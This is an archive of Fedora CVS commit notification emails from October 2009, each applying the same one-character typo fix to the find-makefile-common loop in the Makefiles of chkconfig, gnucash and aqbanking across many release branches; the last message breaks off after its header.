Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/chkconfig/F-11/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:39:32 -0000	1.2
+++ Makefile	28 Oct 2009 04:06:18 -0000	1.3
@@ -4,7 +4,7 @@ NAME := chkconfig
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:06:19 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:06:19 +0000 (UTC)
Subject: rpms/chkconfig/F-8 Makefile,1.2,1.3
Message-ID: <20091028040619.5DA9711C02A0@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/chkconfig/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/chkconfig/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/chkconfig/F-8/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:39:32 -0000	1.2
+++ Makefile	28 Oct 2009 04:06:19 -0000	1.3
@@ -4,7 +4,7 @@ NAME := chkconfig
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:06:20 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:06:20 +0000 (UTC)
Subject: rpms/chkconfig/devel Makefile,1.2,1.3
Message-ID: <20091028040620.A328711C0265@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/chkconfig/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/chkconfig/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/chkconfig/devel/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:39:32 -0000	1.2
+++ Makefile	28 Oct 2009 04:06:20 -0000	1.3
@@ -4,7 +4,7 @@ NAME := chkconfig
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:06:20 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:06:20 +0000 (UTC)
Subject: rpms/chkconfig/F-9 Makefile,1.2,1.3
Message-ID: <20091028040620.3FFD211C029E@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/chkconfig/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/chkconfig/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/chkconfig/F-9/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:39:32 -0000	1.2
+++ Makefile	28 Oct 2009 04:06:19 -0000	1.3
@@ -4,7 +4,7 @@ NAME := chkconfig
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:06:18 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:06:18 +0000 (UTC)
Subject: rpms/chkconfig/F-10 Makefile,1.2,1.3
Message-ID: <20091028040619.0DF4A11C0265@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/chkconfig/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/chkconfig/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/chkconfig/F-10/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:39:32 -0000	1.2
+++ Makefile	28 Oct 2009 04:06:17 -0000	1.3
@@ -4,7 +4,7 @@ NAME := chkconfig
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:08 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:08 +0000 (UTC)
Subject: rpms/gnucash/EL-5 Makefile,1.1,1.2
Message-ID: <20091028041408.D264311C029B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/EL-5
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/EL-5

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/EL-5/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:08 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:08 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:08 +0000 (UTC)
Subject: rpms/gnucash/EL-4 Makefile,1.1,1.2
Message-ID: <20091028041408.D257411C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/EL-4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/EL-4

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/EL-4/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:06 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:09 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:09 +0000 (UTC)
Subject: rpms/gnucash/F-11 Makefile,1.1,1.2
Message-ID: <20091028041409.5AF9211C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/F-11

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/F-11/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:09 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:09 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:09 +0000 (UTC)
Subject: rpms/gnucash/F-10 Makefile,1.1,1.2
Message-ID: <20091028041409.0E3DC11C02A0@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/F-10/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:08 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:09 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:09 +0000 (UTC)
Subject: rpms/gnucash/F-12 Makefile,1.1,1.2
Message-ID: <20091028041409.C3F4511C029B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/F-12/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:09 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:10 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:10 +0000 (UTC)
Subject: rpms/gnucash/F-7 Makefile,1.1,1.2
Message-ID: <20091028041410.216B711C02A0@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/F-7
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/F-7

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/F-7/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:09 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:10 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:10 +0000 (UTC)
Subject: rpms/gnucash/F-8 Makefile,1.1,1.2
Message-ID: <20091028041410.9022111C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/F-8/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:10 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:10 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:10 +0000 (UTC)
Subject: rpms/gnucash/F-9 Makefile,1.1,1.2
Message-ID: <20091028041410.E88F911C029B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/F-9/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:10 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:11 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:11 +0000 (UTC)
Subject: rpms/gnucash/devel Makefile,1.1,1.2
Message-ID: <20091028041411.9068711C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gnucash/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gnucash/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gnucash/devel/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:48:27 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:10 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gnucash
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:11 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:11 +0000 (UTC)
Subject: rpms/aqbanking/EL-4 Makefile,1.1,1.2
Message-ID: <20091028041411.E944C11C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/EL-4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/EL-4

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/EL-4/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:11 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:13 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:13 +0000 (UTC)
Subject: rpms/aqbanking/F-12 Makefile,1.1,1.2
Message-ID: <20091028041413.D12A011C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/F-12/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:13 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:13 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:13 +0000 (UTC)
Subject: rpms/aqbanking/F-11 Makefile,1.1,1.2
Message-ID: <20091028041413.5E4BB11C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/F-11

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/F-11/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:12 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:12 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:12 +0000 (UTC)
Subject: rpms/aqbanking/EL-5 Makefile,1.1,1.2
Message-ID: <20091028041412.588FF11C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/EL-5
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/EL-5

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/EL-5/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:11 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:12 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:12 +0000 (UTC)
Subject: rpms/aqbanking/F-10 Makefile,1.1,1.2
Message-ID: <20091028041412.B158E11C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/F-10/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:12 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:14 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:14 +0000 (UTC)
Subject: rpms/aqbanking/F-8 Makefile,1.1,1.2
Message-ID: <20091028041414.6D9A411C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/F-8/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:14 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:14 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:14 +0000 (UTC)
Subject: rpms/aqbanking/F-7 Makefile,1.1,1.2
Message-ID: <20091028041414.220A311C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/F-7
